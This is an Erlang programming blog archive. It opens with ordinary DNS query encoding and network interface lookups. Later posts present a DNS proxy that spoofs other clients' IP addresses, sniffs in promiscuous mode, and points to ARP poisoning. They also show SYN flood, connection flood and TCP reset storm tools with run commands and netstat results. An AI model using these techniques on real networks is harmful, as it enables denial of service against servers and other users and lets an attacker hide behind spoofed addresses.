Pages

Sunday, July 4, 2010

DNS Programming with Erlang

I have this strange fascination with DNS. By which I mean loathing. Yet somehow I've already written 3 small DNS servers in Erlang:
  • emdns: An unfinished multicast DNS server with unspecified yet no doubt awesome features. Someday I'll finish it. Maybe.
  • spood: A strange, little program; a spoofing DNS proxy that will send out your DNS requests from somebody else's IP address and sniff the responses. Maybe (if you're somewhat sketchy) you could use it to hide your DNS lookups. Maybe, you could use it to ramp up your DNS requests on networks that throttle them down. Not that I would do any of that.
  • seds: a DNS server that tunnels TCP/IP. I'm typing this blog over a DNS tunnel right now, stress testing it (with my blazing fast ASCII input) and trying to make seds crash. Also stress testing my patience.
Since the programmatic interfaces to DNS in Erlang are mostly undocumented, I thought I'd go over them briefly. So I'll remember how to use them if I ever finish emdns. I figured out how they worked mainly by reading the source and dumping DNS packets to see the record structures. The DNS parsing functions are kept in lib/kernel/src/inet_dns.erl. Pretty much the only functions that you will need from this module are encode/1 and decode/1. The tricky part is passing in the appropriate data structures.
  • decode/1 takes a binary and returns a #dns_rec{} record or {error, fmt} if the DNS payload cannot be decoded
  • encode/1 as you might expect, does the inverse, taking an appropriate record and returning a binary
The record structure is defined in lib/kernel/src/inet_dns.hrl.
-record(dns_rec,
    {
        header,       %% dns_header record
        qdlist = [],  %% list of question entries
        anlist = [],  %% list of answer entries
        nslist = [],  %% list of authority entries
        arlist = []   %% list of resource entries
    }).
  • The DNS header is another record:
    -record(dns_header,
        {
         id = 0,       %% ushort query identification number
         %% byte F0
         qr = 0,       %% :1   response flag
         opcode = 0,   %% :4   purpose of message
         aa = 0,       %% :1   authoritive answer
         tc = 0,       %% :1   truncated message
         rd = 0,       %% :1   recursion desired
         %% byte F1
         ra = 0,       %% :1   recursion available
         pr = 0,       %% :1   primary server required (non standard)
                       %% :2   unused bits
         rcode = 0     %% :4   response code
        }).
    
    While the defaults are initialized to small integers, inet_dns replaces them with atoms. So, the 1 bit values are either the atoms 'true' or 'false' and the opcode is set to an atom, for example, 'query'. Both integers and the atom representations are usually accepted by the functions though.

  • qdlist is a list of DNS query records:
    -record(dns_query,
        {
         domain,     %% query domain
         type,        %% query type
         class      %% query class
         }).
    
    • domain is a string representing the domain name, e.g., "foo.bar.example.com"
    • type is an atom describing the DNS type: a, cname, txt, null, srv, ns, ...
    • class will most commonly be 'in' (Internet), though multicast DNS uses "cache flush" (32769) for some operations

Making a valid Erlang DNS query would look something like:
-module(dns).
-compile(export_all).

-include_lib("kernel/src/inet_dns.hrl").

q(Domain, NS) ->
    Query = inet_dns:encode(
        #dns_rec{
            header = #dns_header{
                id = crypto:rand_uniform(1,16#FFFF),
                opcode = 'query',
                rd = true
            },
            qdlist = [#dns_query{
                domain = Domain,
                type = a,
                class = in
            }]
        }),
    {ok, Socket} = gen_udp:open(0, [binary, {active, false}]),
    gen_udp:send(Socket, NS, 53, Query),
    {ok, {NS, 53, Reply}} = gen_udp:recv(Socket, 65535),
    inet_dns:decode(Reply).
I enabled recursion because the request will be going through the one of the public Google nameservers (8.8.8.8) instead of going directly through the authoritative nameserver.

Testing the results:
$ erl
Erlang R14A (erts-5.8) [source] [smp:2:2] [rq:2] [async-threads:0] [hipe] [kernel-poll:false]

Eshell V5.8  (abort with ^G)
1> {ok, Q} = dns:q("listincomprehension.com", {8,8,8,8}).
{ok,{dns_rec,{dns_header,7296,true,'query',false,false,
                         true,true,false,0},
             [{dns_query,"listincomprehension.com",a,in}],
             [{dns_rr,"listincomprehension.com",a,in,0,656,
                      {216,239,32,21},                      undefined,[],false},
              {dns_rr,"listincomprehension.com",a,in,0,656,
                      {216,239,34,21},
                      undefined,[],false},
              {dns_rr,"listincomprehension.com",a,in,0,656,
                      {216,239,36,21},
                      undefined,[],false},
              {dns_rr,"listincomprehension.com",a,in,0,656,
                      {216,239,38,21},
                      undefined,[],false}],
             [],[]}}
2> rr("/usr/local/lib/erlang/lib/kernel-2.14/src/inet_dns.hrl").
[dns_header,dns_query,dns_rec,dns_rr,dns_rr_opt]
3> Q.
#dns_rec{header = #dns_header{id = 7296,qr = true,
                              opcode = 'query',aa = false,tc = false,rd = true,ra = true,
                              pr = false,rcode = 0},
         qdlist = [#dns_query{domain = "listincomprehension.com",
                              type = a,class = in}],
         anlist = [#dns_rr{domain = "listincomprehension.com",
                           type = a,class = in,cnt = 0,ttl = 656,
                           data = {216,239,32,21},
                           tm = undefined,bm = [],func = false},
                   #dns_rr{domain = "listincomprehension.com",type = a,
                           class = in,cnt = 0,ttl = 656,
                           data = {216,239,34,21},
                           tm = undefined,bm = [],func = false},
                   #dns_rr{domain = "listincomprehension.com",type = a,
                           class = in,cnt = 0,ttl = 656,
                           data = {216,239,36,21},
                           tm = undefined,bm = [],func = false},
                   #dns_rr{domain = "listincomprehension.com",type = a,
                           class = in,cnt = 0,ttl = 656,
                           data = {216,239,38,21},
                           tm = undefined,bm = [],func = false}],
         nslist = [],arlist = []}
The records are displayed as tuples. You can pretty print the records by using the shell rr() command to include the header file wherever it is on your system.

The query returned the same packet we sent with some changes to the header:
  • The response flag (qr) is set to true
  • The recursion available flag (ra) is also set to true
The answer to our query is a list bound to the anlist record atom. The #dns_rr{} record looks like:
-record(dns_rr,
    {
     domain = "",   %% resource domain
     type = any,    %% resource type
     class = in,    %% reource class
     cnt = 0,       %% access count
     ttl = 0,       %% time to live
     data = [],     %% raw data
      %%  
     tm,            %% creation time
         bm = [],       %% Bitmap storing domain character case information.
         func = false   %% Optional function calculating the data field.
    }).
The data field is interesting. Although it's initialized as an empty list, the data structure bound to it depends on the DNS record type. For example, from the ones I remember:
  • A: tuple representing the IP address
  • TXT: a list of strings
  • NULL: a binary
  • CNAME: a domain name string appropriately "labelled" (canonicalized by the "."'s), e.g., "ghs.google.com". inet_dns takes care of breaking the domain name into the appropriate, compressed domain name -- a weird form where the "."'s are replaced by nulls and each component is prefaced by a length or a pointer redirecting to another field (hence the compression).

Pattern Matching

The cool thing is that, since the DNS records are nested records, its very easy to pattern match on the results. Modifying the example above:
-module(dns1).
-compile(export_all).

-include_lib("kernel/src/inet_dns.hrl").

q(Type, Domain, NS) ->
    Query = inet_dns:encode(
        #dns_rec{
            header = #dns_header{
                id = crypto:rand_uniform(1,16#FFFF),
                opcode = 'query',
                rd = true
            },
            qdlist = [#dns_query{
                    domain = Domain,
                    type = Type,
                    class = in
                }]
        }),
    {ok, Socket} = gen_udp:open(0, [binary, {active, true}]),
    gen_udp:send(Socket, NS, 53, Query),
    loop(Socket, Type, Domain, NS).


loop(Socket, Type, Domain, NS) ->
    receive
        {udp, Socket, NS, _, Packet} ->
            {ok, Response} = inet_dns:decode(Packet),
            match(Type, Domain, Response)
    end.

match(a, Domain, #dns_rec{
        header = #dns_header{
            qr = true,
            opcode = 'query'
        },
        qdlist = [#dns_query{
                domain = Domain,
                type = a,
                class = in
            }],
        anlist = [#dns_rr{
                domain = Domain,
                type = a,
                class = in,
                data = {IP1, IP2, IP3, IP4}
            }|_]}) ->
    {a, Domain, {IP1,IP2,IP3,IP4}};
match(cname, Domain, #dns_rec{
        header = #dns_header{
            qr = true,
            opcode = 'query'
        },
        qdlist = [#dns_query{
                domain = Domain,
                type = cname,
                class = in
            }],
        anlist = [#dns_rr{
                domain = Domain,
                type = cname,
                class = in,
                data = Data
            }|_]}) ->
    {cname, Domain, Data}.

And the results:

$ erl
Erlang R14A (erts-5.8) [source] [smp:2:2] [rq:2] [async-threads:0] [hipe] [kernel-poll:false]

Eshell V5.8 (abort with ^G)
1> dns1:q(cname, "blog.listincomprehension.com", {8,8,8,8}).
{cname,"blog.listincomprehension.com","ghs.google.com"}

Thursday, July 1, 2010

Fun with Raw Sockets in Erlang: Finding MAC and IP Addresses

(See the update for versions of some of these functions in standard Erlang).

When working with PF_PACKET raw sockets, the caller needs to provide the source/destination MAC and IP addresses.
Playing with a spoofing DNS proxy, I got tired of hardcoding the addresses, then WTF'ing every time I switched networks. So I added some functions to procket to lookup the system network interface and its MAC and IP addresses.

Retrieving the MAC Address of an Interface


Under Linux, getting the MAC address of an interface involves calling an ioctl() with the request set to SIOCGIFHWADDR and passing in a struct ifreq.

Here is the code to do so in C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <netinet/ether.h>


int
main(int argc, char *argv[])
{
    int s = -1;

    struct ifreq ifr = {0};
    char *dev = NULL;
    struct sockaddr *sa;

    dev = strdup((argc == 2 ? argv[1] : "eth0"));

    if (dev == NULL)
        err(EXIT_FAILURE, "strdup");

    if ( (s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
        err(EXIT_FAILURE, "socket");

    (void)memcpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);

    if (ioctl(s, SIOCGIFHWADDR, &ifr) < 0)
        err(EXIT_FAILURE, "ioctl");

    sa = (struct sockaddr *)&ifr.ifr_hwaddr;

    (void)printf("%02x:%02x:%02x:%02x:%02x:%02x\n",
            sa->sa_data[0], sa->sa_data[1], sa->sa_data[2], sa->sa_data[3],
            sa->sa_data[4], sa->sa_data[5]);

    free(dev);

    exit (EXIT_SUCCESS);

}

The equivalent in Erlang uses procket:ioctl/2
macaddress(Socket, Dev) ->
    {ok, <<_Ifname:16/bytes,
        ?PF_INET:16,                       % family
        SM1,SM2,SM3,SM4,SM5,SM6,    % mac address
        _/binary>>} = procket:ioctl(Socket,
        ?SIOCGIFHWADDR,
        list_to_binary([
                Dev, <<0:((15*8) - (length(Dev)*8)), 0:8, 0:128>>
            ])),
    {SM1,SM2,SM3,SM4,SM5,SM6}.
Results may differ depending on the endian-ness of your platform.

Retreiving the IP Address of an Interface


The IP address of an interface can be obtained by another ioctl() with a request value of SIOCGIFADDR. In C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <netinet/in.h>
#include <arpa/inet.h>

#include <net/if.h>


int
main(int argc, char *argv[])
{
    int s = -1;

    struct ifreq ifr = {0};
    char *dev = NULL;
    struct sockaddr_in *sa;

    dev = strdup((argc == 2 ? argv[1] : "eth0"));

    if (dev == NULL)
        err(EXIT_FAILURE, "strdup");

    if ( (s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
        err(EXIT_FAILURE, "socket");

    (void)memcpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
    ifr.ifr_addr.sa_family = PF_INET;

    if (ioctl(s, SIOCGIFADDR, &ifr) < 0)
        err(EXIT_FAILURE, "ioctl");

    sa = (struct sockaddr_in *)&ifr.ifr_hwaddr;

    (void)printf("%s\n", inet_ntoa(sa->sin_addr));

    free(dev);

    exit (EXIT_SUCCESS);

}

And the Erlang version:
ipv4address(Socket, Dev) ->
    {ok, <<_Ifname:16/bytes,
        ?PF_INET:16/native, % sin_family
        _:16,               % sin_port 
        SA1,SA2,SA3,SA4,    % sin_addr
        _/binary>>} = procket:ioctl(Socket,
            ?SIOCGIFADDR,
            list_to_binary([
                Dev, <<0:((15*8) - (length(Dev)*8)), 0:8>>,
                <<?PF_INET:16/native,       % family
                0:112>>
            ])),
    {SA1,SA2,SA3,SA4}.

Looking Up an IP Address in the ARP Cache


ARP cache lookups can be done by using:
ioctl(socket, SIOCGARP, struct arpreq);
But utilities on Linux just seem to parse /proc/net/arp:
arplookup({IP1,IP2,IP3,IP4}) ->
    {ok, FD} = file:open("/proc/net/arp", [read,raw]),
    arploop(FD, inet_parse:ntoa({SA1,SA2,SA3,SA4})).

arploop(FD, Address) ->
    case file:read_line(FD) of
        eof ->
            file:close(FD),
            not_found;
        {ok, Line} ->
            case lists:prefix(Address, Line) of
                true ->
                    file:close(FD),
                    M = string:tokens(
                        lists:nth(?HWADDR_OFF, string:tokens(Line, " \n")), ":"),
                    list_to_tuple([ erlang:list_to_integer(E, 16) || E <- M ]);
                false -> arploop(FD, Address)
            end
    end.

Getting a List of Interfaces


To get the list of interfaces on a system, yet another ioctl() is used, this time passing in SIOCGIFCONF and this structure as arguments:
struct ifconf
{
    int ifc_len;            /* Size of buffer.  */
    union
    {
        __caddr_t ifcu_buf;
        struct ifreq *ifcu_req;
    } ifc_ifcu;
};
Here is an example of retrieving the interface list in C.

The ioctl() takes, as an argument, a structure using a length and a pointer to a buffer. procket doesn't have a way of allocating a piece of memory though it could be modified to have an NIF that allocates a binary and returns the address of the binary as an integer. Functions could then pass in the memory address but a buggy piece of Erlang code might pass in the wrong value and crash the VM.

Instead, I simply parse the output of /proc/net/dev. For example, here is the output on my laptop:
$ cat /proc/net/dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo:  526441    3620    0    0    0     0          0         0   526441    3620    0    0    0     0       0          0
  eth0:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 wifi0:10960093   26897    0    0    0  1578          0         0   734661    4876    0    0    0     0       0          0
  ath0:14422892   12536    0    0    0     0          0         0   576599    4706    0    0    0     0       0          0
Even nastier than the arp cache lookup, since I resorted to using regular expressions.
iflist() ->
    {ok, FD} = file:open("/proc/net/dev", [raw, read]),
    iflistloop(FD, []).

iflistloop(FD, Ifs) ->
    case file:read_line(FD) of
        eof ->
            file:close(FD),
            Ifs;
        {ok, Line} ->
            iflistloop(FD, iflistmatch(Line, Ifs))
    end.

iflistmatch(Data, Ifs) ->
    case re:run(Data, "^\\s*([a-z]+[0-9]+):", [{capture, [1], list}]) of
        nomatch -> Ifs;
        {match, [If]} -> [If|Ifs]
    end.

Finding the Default Interface


In spood, I took the easy way and just sort of guessed. A proper solution would check the routing table. Instead I look for the first interface without a local IP address:
device() ->
    {ok, S} = procket:listen(0, [{protocol, udp}, {family, inet}, {type, dgram}]),
    [Dev|_] = [ If || If <- packet:iflist(), ipcheck(S, If) ],
    procket:close(S),
    Dev.

ipcheck(S, If) ->
    try packet:ipv4address(S, If) of
        {127,_,_,_} -> false;
        {169,_,_,_} -> false;
        _ -> true
    catch
        error:_ -> false
    end.

Update: Using the inet Module

After having gone through all the above, I discovered that the inet module, which is part of the Erlang standard library, is able to retrieve information about the local interfaces.

inet has 2 functions:
  • getiflist/0: retrieve a list of all the local interfaces, e.g., {ok, ["eth0", "eth1"]}
  • ifget/2: retrieve interface attributes. The arguments can be:
    • addr: IP address of interface
    • hwaddr: the MAC address of the interface. Works on Linux, doesn't work on Mac OS X (returns an empty list).
      (Update: I've submitted a patch to get the MAC address on Mac OS X)
    • dstaddr
    • netmask
    • broadcast
    • mtu
    • flags: returns the interface status, e.g., [up, broadcast, running, multicast]

For example:
  • To get a list of interfaces:
    1> inet:getiflist().
    {ok,["lo","eth0","eth1"]}
    
  • To retrieve the IP and MAC addresses of an interface:
    3> inet:ifget("eth0", [addr, hwaddr]).
    {ok,[{addr,{192,168,1,11}},{hwaddr,[0,11,22,33,44,55]}]}
    

Thursday, June 24, 2010

Fun with Raw Sockets in Erlang: A Spoofing DNS Proxy

UDP Header

UDP headers are specified as:
  • Source Port:16
  • Destination Port:16
  • Length:16
  • Checksum:16

  • The Source Port is a 2 byte value representing the originating port
  • The Destination Port is the 2 byte value specifying the target port
  • The Length is the size of the UDP header and packet in bytes. The size of the UDP header is 8 bytes.
  • The Checksum algorithm is the same as for TCP, involving the creation of an IP psueduoheader.
    If the length of the UDP packet is an odd number of bytes, the packet is zero padded with an additional byte only for checksumming purposes.
The equivalent UDP header in Erlang is:
<<SourcePort:16,
DestinationPort:16,
Length:16,
Checksum:16>>
The pseudo-header used for checksumming is:
  • Source Address:32
  • Destination Address:32
  • Zero:8
  • Protocol:8
  • UDP Packet Length:16
  • UDP Header and Payload1:8
  • ...
  • UDP Header and PayloadN:8
  • optional padding:8
  • The Source Address from the IP header
  • The Destination Address from the IP header
  • The Protocol for UDP is 17
  • The UDP Packet Length in bytes, for both the UDP header and payload. The length of the IP pseudo-header is not included.
  • The UDP Header and Payload is the full UDP packet
  • If the UDP packet length is odd, an additional zero'ed byte is included for checksumming purposes. The extra byte is not used in the length computation or sent with the packet.
  • The length of the UDP packet is included in both the IP pseudo-header and the UDP header.
  • The checksum field of the UDP header is set to 0.
In Erlang, the pseudo-header is represented as:
<<SA1:8,SA2:8,SA3:8,SA4:8,  % bytes representing the IP source address
DA1:8,DA2:8,DA3:8,DA4:8,    % bytes representing the IP destination address
0:8,                        % Zero
6:8,                        % Protocol: TCP
UDPlen:16                % UDP packet size in bytes

SourcePort:16,
DestinationPort:16,
UDPlen:16,
0:16,
Data/binary,
0:UDPpad>>                  % UDPpad may be 0 or 8 bits

A Spoofing DNS Proxy

What?

spood is a spoofing DNS proxy with a vaguely obscene name. spood works by accepting DNS queries on localhost and then spoofing the source IP address of the DNS request using the Linux PF_PACKET interface. DNS replies are sniffed off the network and returned to localhost.

Why?

Maybe for using with IP over DNS tunnels?

How?

spood works with procket and epcap.

This Will Probably Be the First Page Returned For Searches For "Erlang Promiscuity"

While spood can run by spoofing its own IP address, it's more fun running it on a hubbed or public wireless network. To allow spood to sniff the network, I added support for setsockopt() to procket as an additional NIF. Promiscuous mode, under Linux, can be activated/deactivated globally by using an ioctl() or per application by using setsockopt(). To enable promiscuous mode, the application needs to call:
setsockopt(socket, SOL_PACKET, PACKET_ADD_MEMBERSHIP, (void *)&mreq, sizeof(mreq))
Though obtaining a PF_PACKET socket requires root privileges, performing the setsockopt() call on the socket does not. mreq is a struct packet_mreq:
struct packet_mreq {
    int            mr_ifindex;    /* interface index */
    unsigned short mr_type;       /* action */
    unsigned short mr_alen;       /* address length */
    unsigned char  mr_address[8]; /* physical layer address */
};
  • mr_ifindex is the interface index returned by doing an ioctl() in host endian format
  • mr_type is set to PACKET_MR_PROMISC in host endian format
  • the reminder of the struct is zero'ed
The Erlang version looks like:
-define(SOL_PACKET, 263).
-define(PACKET_ADD_MEMBERSHIP, 1).
-define(PACKET_DROP_MEMBERSHIP, 2).
-define(PACKET_MR_PROMISC, 1).

promiscuous(Socket, Ifindex) ->
    procket:setsockopt(Socket, ?SOL_PACKET, ?PACKET_ADD_MEMBERSHIP, <<
        Ifindex:32/native,              % mr_ifindex: interface index
        ?PACKET_MR_PROMISC:16/native,   % mr_type: action
        0:16,                           % mr_alen: address length
        0:64                            % mr_address[8]:  physical layer address
        >>).

Sniffing Packets

Sniffing packets involves running procket:recvfrom/2 in a loop. Erlang's pattern matching makes filtering the packets simple. One trick is retrieving the default nameservers in Erlang.
{ok, PL} = inet_parse:resolv(
    proplists:get_value(resolv_conf, inet_db:get_rc(), "/etc/resolv.conf")),
NS = proplists:get_value(nameserver, PL).
inet_db:get_rc() will return the path to the system resolv.conf file. inet_parse has an undocumented function to parse resolv.conf and return the attributes as list of key/value pairs.

Spoofing Packets

Spoofing packets is done by constructing a packet consisting of the Ethernet, IP and UDP header and payload.
dns_query(SourcePort, Data, #state{
    shost = {SM1,SM2,SM3,SM4,SM5,SM6},
    dhost = {DM1,DM2,DM3,DM4,DM5,DM6},
    saddr = {SA1,SA2,SA3,SA4},
    daddr = {DA1,DA2,DA3,DA4}
    }) ->

    Id = 1,
    TTL = 64,

    UDPlen = 8 + byte_size(Data),
    IPlen = 20 + UDPlen,

    IPsum = epcap_net:makesum(
        <<
        % IPv4 header
        4:4, 5:4, 0:8, IPlen:16,
        Id:16, 0:1, 1:1, 0:1,
        0:13, TTL:8, 17:8, 0:16,
        SA1:8, SA2:8, SA3:8, SA4:8,
        DA1:8, DA2:8, DA3:8, DA4:8
        >>
    ),

    UDPpad = case UDPlen rem 2 of
        0 -> 0;
        1 -> 8
    end,

    UDPsum = epcap_net:makesum(
        <<
        SA1:8,SA2:8,SA3:8,SA4:8,
        DA1:8,DA2:8,DA3:8,DA4:8,
        0:8,
        17:8,
        UDPlen:16,

        SourcePort:16,
        53:16,
        UDPlen:16,
        0:16,
        Data/binary,
        0:UDPpad
        >>),

    <<
    % Ethernet header
    DM1:8,DM2:8,DM3:8,DM4:8,DM5:8,DM6:8,
    SM1:8,SM2:8,SM3:8,SM4:8,SM5:8,SM6:8,
    16#08, 16#00,

    % IPv4 header
    4:4, 5:4, 0:8, IPlen:16,
    Id:16, 0:1, 1:1, 0:1,
    0:13, TTL:8, 17:8, IPsum:16,
    SA1:8, SA2:8, SA3:8, SA4:8,
    DA1:8, DA2:8, DA3:8, DA4:8,

    % UDP header
    SourcePort:16,
    53:16,
    UDPlen:16,
    UDPsum:16,
    Data/binary
    >>.

Running spood

Setup isn't all automatic yet (but see the README, maybe this has changed). After everything is compiled, find the MAC and IP address of your client and name server. Then run:
erl -pa ebin deps/*/ebin
1> spood:start("eth0",
    {{16#00,16#aa,16#bb,16#cc,16#dd,16#ee}, {list, [{192,168,100,100}, {192,168,100,101}]}},
    {{16#00,16#11,16#22,16#33,16#44,16#55}, {192,168,100,1}}).
Where:
  • The first argument is your interface device name
  • The second argument is a 2-tuple composed of your source MAC address and a representation of what should be used for your client IP address. Unless you're ARP spoofing or have published the ARP entries yourself, the IP's should be of clients on the network.

    The second argument can be a tuple or a string representing an IP or a tuple consisting of the keyword "list" followed a list of IP addresses. The source IP for each query will be randomly chosen from the list.

  • The third argument is the name server MAC and IP address
Then test it:
$ nslookup
> server 127.0.0.1
Default server: 127.0.0.1
Address: 127.0.0.1#53
> www.google.com
Server:         127.0.0.1
Address:        127.0.0.1#53

Non-authoritative answer:
www.google.com  canonical name = www.l.google.com.
Name:   www.l.google.com
Address: 173.194.33.104
If you happen to be running the sods client, you can use the DNS proxy by using the "-r" option:
sdt -r 127.0.0.1 sshdns.s.example.com
Update: Well, I've tested spood in the wild now and made a few changes. By default, spood will discover the IP addresses on your network and add them to the list of source addresses to spoof. spood now takes a proplist as an argument. However, if no argument is passed, spood will try to figure out your network by:
  • guessing which interface device to use
  • finding the MAC and IP address assigned to the device
  • looking up the MAC address of the name server in the ARP cache
The arguments to spood:start/1 is a proplist consisting of:
  • {dev, string() | undefined}
  • {srcmac, tuple()}
  • {dstmac, tuple()}
  • {saddr, tuple() | string() | discover | {discover, list()} | {list, list()}}
  • {nameserver, tuple() | undefined}

Or call spood:start() to use the defaults.

Sunday, June 20, 2010

Fun with Raw Sockets in Erlang: Abusing TCP

TCP Packet Structure

A TCP header is represented by:
  • Source Port:16
  • Destination Port:48
  • Sequence Number:32
  • Acknowledgement Number:32
  • Data Offset:4
  • Reserved:4
  • Congestion Window Reduced (CWR):1
  • ECN-Echo (ECE):1
  • Urgent (URG):1
  • Acknowledgement (ACK):1
  • Push (PSH):1
  • Reset (RST):1
  • Synchronize (SYN):1
  • Finish (FIN):1
  • Window Size:16
  • TCP Pseudo-Header Checksum:16
  • Urgent Pointer:16
  • The Data offset is the length of the TCP packet (header and payload) in 32-bit words, i.e., multiply the offset by 4 to get the number of bytes.
  • The CWR and ECE flags were added in RFC 3168.
  • The TCP checksum is calculated by forming a pseudo-header from attributes of the IP header prepended to the TCP header and payload. When performing the checksum, the TCP checksum field is set to 0.
The equivalent TCP header in Erlang is:
<<SPort:16, DPort:16,
SeqNo:32,
AckNo:32,
Off:4, 0:4, CWR:1, ECE:1, URG:1, ACK:1,
PSH:1, RST:1, SYN:1, FIN:1, Win:16,
Sum:16, Urp:16>>
The pseudo-header can be illustrated as:
  • Source Address:32
  • Destination Address:32
  • Zero:8
  • Protocol:8
  • TCP Packet Length:16
  • TCP Header and Payload:1
  • ...
  • TCP Header and Payload:N
  • The Source Address from the IP header.
  • The Destination Address from the IP header.
  • The Protocol as specified by the IP header. For TCP, the value will be 6.
  • The TCP Packet Length in bytes for both the TCP header and payload. The length of the IP pseudo-header is not included.
  • The TCP Header and Payload contains the full TCP packet.
In Erlang, the IP pseudo-header is represented as:
<<SA1:8,SA2:8,SA3:8,SA4:8,  % bytes representing the IP source address
DA1:8,DA2:8,DA3:8,DA4:8,    % bytes representing the IP destination address
0:8,                        % Zero
6:8,                        % Protocol: TCP
(TCPoff * 4):16>>           % TCP packet size in bytes

Exhausting Server Resources

TCP is stateful, requiring the client and server to allocate resources to manage each phase of the connection. A TCP connection is established by synchronizing the sequence numbers of the client and server.
  • The client sends a 20 byte TCP packet:
    • the SYN bit is set to 1
    • a randomly chosen sequence number
    • the acknowledgment number set to 0
    • no payload
    The client goes into state "SYN_SENT".
  • The server replies with:
    • the SYN bit set to 1
    • the ACK bit set to 1
    • a randomly chosen sequence number
    • the acknowledgement number is set to the client's sequence number, incremented by 1
    • no payload
    The server goes into state "SYN_RECEIVED".
  • The client replies with:
    • the SYN bit set to 0
    • the ACK bit set to 1
    • the sequence number (the acknowledgement number returned by the server)
    • the acknowledgement number, the sequence number of the server incremented by the size in bytes of the payload
    • an optional payload
    The client goes into state "ESTABLISHED"

Each phase of the connection needs to be tracked by the operating system. For example, if the initial SYN packet sent by the client does not result in a response, the client will resend the SYN packet, typically up to 3 times, before returning a timeout error.

On the server, if the SYN ACK is not ACK'ed by the client, the server must periodically attempt to re-send the SYN-ACK packet before freeing the resources allocated to this connection.

The resources required for tracking these connections, although small, can be exhausted either through high demand or a denial of service attack using several simple, well known attacks.
  • SYN flood: Sending a large number of requests to initiate a TCP connection will prevent the server from accepting connections from legitimate clients.
  • connection flood: Usually a client is limited in the number of connections it can open to a server; for example, by the number of available file descriptors. If the client can track the connections statelessly, a single client can overwhelm the server.

Preparation

  • We'll use procket to pass the raw sockets into Erlang. To see how the packets are sent, see this tutorial.

    procket uses the PF_PACKET socket interface, so these examples are Linux specific. I ran them on an Ubuntu 8.04 system. The functions in this source file can be used to send the Erlang binaries.


  • I've tried to make the examples as self-contained as possible, but for parsing the packets and converting them into Erlang records, you'll need a copy of epcap_net.erl and epcap_net.hrl from epcap.

  • On a hubbed network, like public 802.11 networks, you should be able to assign any IP address and act on the replies.

  • If you are on a switched network or on an 802.11 network pretending to be switched (WEP/WPA security), you'll only be able to sniff replies to your assigned IP address. Or you can use ARP poisoning, ettercap works well.

SYN Flood

A SYN flood simply sends a large number of TCP packets with the SYN bit set to a target port. The source port, sequence number and (potentially) source IP address can be randomly assigned. However, the source IP address should be non-existent. Any client listening on that IP will RST the connection when the server SYN ACK's, causing the server to deallocate all resources associated with the embryonic session. syn takes these arguments:
  • Device name
  • Source 3-tuple
    • Source MAC address
    • IP address
    • Source port, can be 0 to randomly choose a port
  • Destination 3-tuple
    • Destination MAC address
    • IP address
    • Source port, can be 0 to randomly choose a port
  • Number of SYN packets to be sent
1> syn:flood("ath0",
        {{16#00,16#15,16#af,16#59,16#08,16#26}, {192,168,213,213}, 0},
        {{16#00,16#16,16#3E,16#E9,16#04,16#06}, {192,168,213,7}, 8080}, 10).
ok
msantos@ecn:~$ netstat -an |grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN
tcp        0      0 192.168.213.7:8080      192.168.213.213:18868   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:5705    SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:60884   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:49723   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:1362    SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:53146   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:57667   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:37629   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:7937    SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:58975   SYN_RECV

Connection Flood

A connection flood works by sending a number of SYN packets to the destination port. The server will reply with a SYN-ACK. The client monitors the network for any replies from the destination port with the ACK bit set and sends an acknowledgement in response. For an example of this behaviour, see drench, a utility written in C using libnet. The Erlang version is simpler, smaller and much more elegant. On a switched network, you won't be able to sniff the replies to spoofed IP addresses. To run a connection flood, you'll need to adjust your firewall to drop RST packets. Since I'm using Ubuntu, I used the simple firewall interface, ufw.
$ ufw enable
$ iptables -I ufw-before-output -p tcp --tcp-flags RST RST --destination-port 8080 -j DROP
Spawn a process to respond to ACK's. ack takes 2 arguments:
  • Device name
  • Port
For example, if you are listening on the eth0 device for packets with a target port of 8080:
1> spawn(ack, start, ["eth0", 8080]).
<0.34.0>
Then send out SYN packets:
2> syn:flood(). % send out 10 SYN packets
ok
Checking the target host shows a number of connections in the ESTABLISHED state:
msantos@ecn:~$ netstat -an |grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN
tcp        0      0 192.168.213.7:8080      192.168.213.213:50691   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:49955   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:12017   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:13662   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:35611   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:57062   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:11549   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:30963   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:41435   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:5591    ESTABLISHED

Resetting Connections

TCP reset storms can be used on hubbed networks to bring down other client's TCP connections. I call this peer-to-peer QoS. For comparison, here is another version of rst written in C using libnet. rst takes 2 arguments:
  • Device name
  • IP address to be excluded (to avoid resetting your own connections)
1> rst:start("eth0", {127,0,0,1}).
$ ssh 192.168.213.7
Read from socket failed: Connection reset by peer

Monday, June 14, 2010

Fun with Raw Sockets in Erlang: Sending ICMP Packets

